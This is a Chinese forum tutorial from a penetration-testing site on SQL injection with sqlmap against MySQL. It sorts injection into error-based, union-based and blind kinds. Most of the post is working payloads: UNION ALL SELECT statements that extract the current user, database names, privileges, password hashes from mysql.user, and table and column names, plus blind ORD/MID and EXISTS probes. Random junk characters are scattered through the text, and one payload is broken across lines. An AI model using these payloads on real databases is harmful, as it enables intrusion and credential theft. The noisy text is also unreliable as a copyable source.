中国网络渗透测试联盟

标题: sqlmap高级注入 [打印本页]
作者: admin    时间: 2013-7-16 20:31
标题: sqlmap高级注入
放假第一天，本应该好好放松一下，可是还是想着把文章写完先。。。3 C- e" Y, q9 r7 X  j8 X, w( u

. y' d+ B* O8 C这次的主题是高级注入，坛子里也讲到了一些，不过本文旨在给大家一个更深刻的概念和全面的理解，下面看看我自己列的一个表
7 N5 ?1 J: F8 _, d2 o; k: O
' @6 _2 \8 h# q2 s# h分类标准        分类        备注# @: o6 v" v! t# ^( P& i0 V
按字段类型        整型注入，字符型注入       
' }1 p5 O- p. d$ l按出现的位置        get注入，post注入，cookie注入，http header注入       
! [. S8 Q% l! `$ R, J5 p然而高级注入是这样的: H1 i$ S. x* N4 x/ ~! g

2 I; {2 V$ `9 {2 y: p# i高级注入分类        条件
6 s7 h* V  ^5 r5 }2 E- g9 r: G/ ierror-based sql        数据库的错误回显可以返回，存在数据库，表结构( C! J4 E* `4 U3 Z( x1 K7 v
union-based sql        能够使用union，存在数据库，表结构
: X2 Y" _0 p7 E4 ~: W. R' kblind sql        存在注入& p; H6 d  _, W. Q+ S8 z
我们暂且不考虑waf等的影响，只从原理上学习。通过上面我们不难发现，三种高级注入选择的顺序应该是eub（第一个字母，后面为了方便我都这样表示了 ），实际上，e是不需要知道字段数的，u需要知道字段数，e之所以在前我觉得主要是因为这个，因为在其他方面它们没有本质的区别，它们都需要知道数据库以及表的结构，这样才能构造出相应的语句，当然，能e一般能u（没过滤union等），反过来却很不一定，因为一般会有自定义的错误提醒。如果没有结构，那么就回到了最悲剧，最麻烦的b了，猜。。。当然可能没有结果，但是如果只是不能使用u，有结构，b还是能出结果的，只是苦逼点而已。。。- N3 b0 P6 R, C& B

; V- i5 X$ _) R% X4 H5 h! b好了，说了这么多，该上神器sqlmap了，最近坛子里貌似很火7 C) N. ~. B0 u$ \

* Z7 Z; S5 L% Z6 E1 r/ V附件分别以mysql和mssql为例子，提醒：sqlmap中使用-v 3可以查看每个请求的payload。9 g$ [+ ?  L0 e5 A
5 _  V5 ~' {" K/ i4 G
这里用mysql说明
: H. O8 K, {( L# c, Y
+ q) M; \) l: u5 M0 L* P! v7 K1 Ne注入坛子里很多了，请看戳我或者再戳我$ Y& O: B# r: e* N. h
$ H' E5 t  a2 v0 t" {
u注入其实也很多了，这里就大概帖上一些重要语句吧，附件上结合例子都有的" s) X3 {' e8 ]0 G
5 h5 e. H. v5 \. s. r
获取当前数据库用户名
0 z2 O: ?$ v. W" N9 }
( q" U/ j7 W/ q, r, M0 FUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
" h2 H; B! r+ @, n, f9 j8 WAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL; W# `' o% P8 O
L, NULL#
' H% z' [, U# R5 ?# Y" p注意concat那里不是必须的，只是sqlmap为了自动攫取出数据加上的特征，下面语句类似，涉及基础性的知识，基友们自己去补吧。' M+ M) a, p/ U5 S  s2 ]  h7 {. `
! ]  K) A, \, B: D& h! d3 m
获取数据库名
+ `3 N, p( ^6 q9 P4 i ! R- W+ _. S1 G1 |$ @' O
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#- k4 D4 @6 f4 {
获取所有用户名4 g1 B: p# [5 G7 ^2 r

2 s' }% f9 h' Z+ m) ?UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
  B" n$ k  @0 _* Y& n+ G0 C: U! B# a查看当前用户权限5 d6 x! Q4 L; |" {. s) e
' H; I5 N3 t4 G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
% j  C9 l/ g; D/ ^0 N( ]尝试获取密码，当然需要有能读mysql数据库的权限
: d) m! w( x# @, b# i( u9 m2 G6 j % B! }# @0 I2 O! E/ h/ ^/ H! d
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#9 x9 a- w) z2 E4 o4 _. c
获取表名，limit什么的自己搞啦
  O$ Y* j* ?9 P& k! b
7 ], I( j/ ?& Y6 ^) O: eUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62## T+ \; U9 |2 v6 y( A4 n9 [
获取字段名及其类型# W% t% O! P! b( G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#5 m  R" r1 N7 ], j1 E: o
" b2 V1 I* P0 j7 I6 y8 k
b注入，呵呵，除了当前用户，数据库，版本可以出来，而如果不能u，但存在数据的结构表，还是能苦逼出来，否则猜也不一定能猜到表和字段，内容自然也出不来，苦逼access啊。。。
0 k2 W8 K4 \6 n9 A/ A 8 l% K  f! n% K/ p, x+ ~% s
如：! C$ H0 O4 w$ b; d$ _, g2 ~
获取当前用户名# K: i5 L0 m3 W0 g
( U. w' h* a0 F
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1166 {+ o0 @$ ~) c5 X3 C
获取当前数据库
! f3 m* \" w  D! z! [" ~, K5 D2 R1 E 9 k/ w! Q4 ^& z  R
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
- z2 |; r# ]/ Q* H  F" Q获取表名
1 E5 M4 R0 T! ~! K; T7 n- Z3 v
, W# F' c/ N( T% YAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51' U3 g; E) A8 R* D1 V- u
获取字段名及其类型和爆内容就不说了，改改上面的就可以了。
5 h3 ^. w' i: M* e# m+ U  A( P回到最苦逼的情况，无结构的，mysql版本<5.0，现在不多见了吧，还是看看语句。
- J, Z/ I- l, R% i# x爆表) Q2 g( m. P1 z  f# ?
/ x; G. s0 Q1 W
AND EXISTS(select * from table)
2 U5 w  c; |' P7 l0 u4 S爆字段
9 \0 L1 T' k+ i% {. D7 x8 l, t: a/ {( g
5 ~6 m. z# [% H. `( @: iAND EXISTS(select pwd from table)
! E$ ~& j; ?5 {& f盲注的变化就比较多了，由于篇幅，只是举个例子而已。
; m2 Q: H4 x( t  j8 l. \
1 H& ]: @( E/ X本来想把mssql和access都写上的，不过编辑得太累了，有时间再写吧，其实原理都差不多，今天就洗洗睡了吧。' P* i! H" J1 @* H% i




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2